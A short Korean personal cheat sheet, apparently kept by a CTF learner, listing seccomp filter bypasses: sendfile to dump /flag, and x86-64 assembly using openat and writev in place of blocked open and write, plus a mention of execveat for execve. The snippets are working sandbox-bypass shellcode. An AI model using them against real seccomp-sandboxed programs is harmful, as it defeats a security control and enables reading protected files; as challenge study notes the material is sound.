seccomp shortcut

이 게시글은 내가 앞으로 얻는 Seccomp 우회 지식들을 나열해놓는 곳이다.

Sendfile syscall

C
int fd = open("/flag", O_RDONLY);
sendfile(1, fd, NULL, 0x100);  // /flag 내용을 stdout으로 출력

다음과 같이 사용가능

Syscall 번호 : 40

openat. → open 대용

C
    /* openat(AT_FDCWD, "/flag", O_RDONLY) */
    mov rdi, -100               /* AT_FDCWD */
    lea rsi, [rip + filename]   /* "/flag" */
    xor rdx, rdx                /* O_RDONLY */
    mov rax, 257                /* syscall number: openat */
    syscall
    
    filename:
		  .asciz "/home/bypass_seccomp/flag"

writev → write 대용

C
    /* setup iovec struct on stack */
    mov r10, r13
    mov r11, 0x100
    sub rsp, 0x20
    mov [rsp], r10             /* iov_base */
    mov [rsp+8], r11           /* iov_len */

    /* writev(1, iov, 1) */
    mov rdi, 1                 /* stdout */
    mov rsi, rsp               /* iovec addr */
    mov rdx, 1                 /* iovcnt */
    mov rax, 20                /* syscall number: writev */
    syscall

execevat → execve 대응

알아서 쓰셈 이건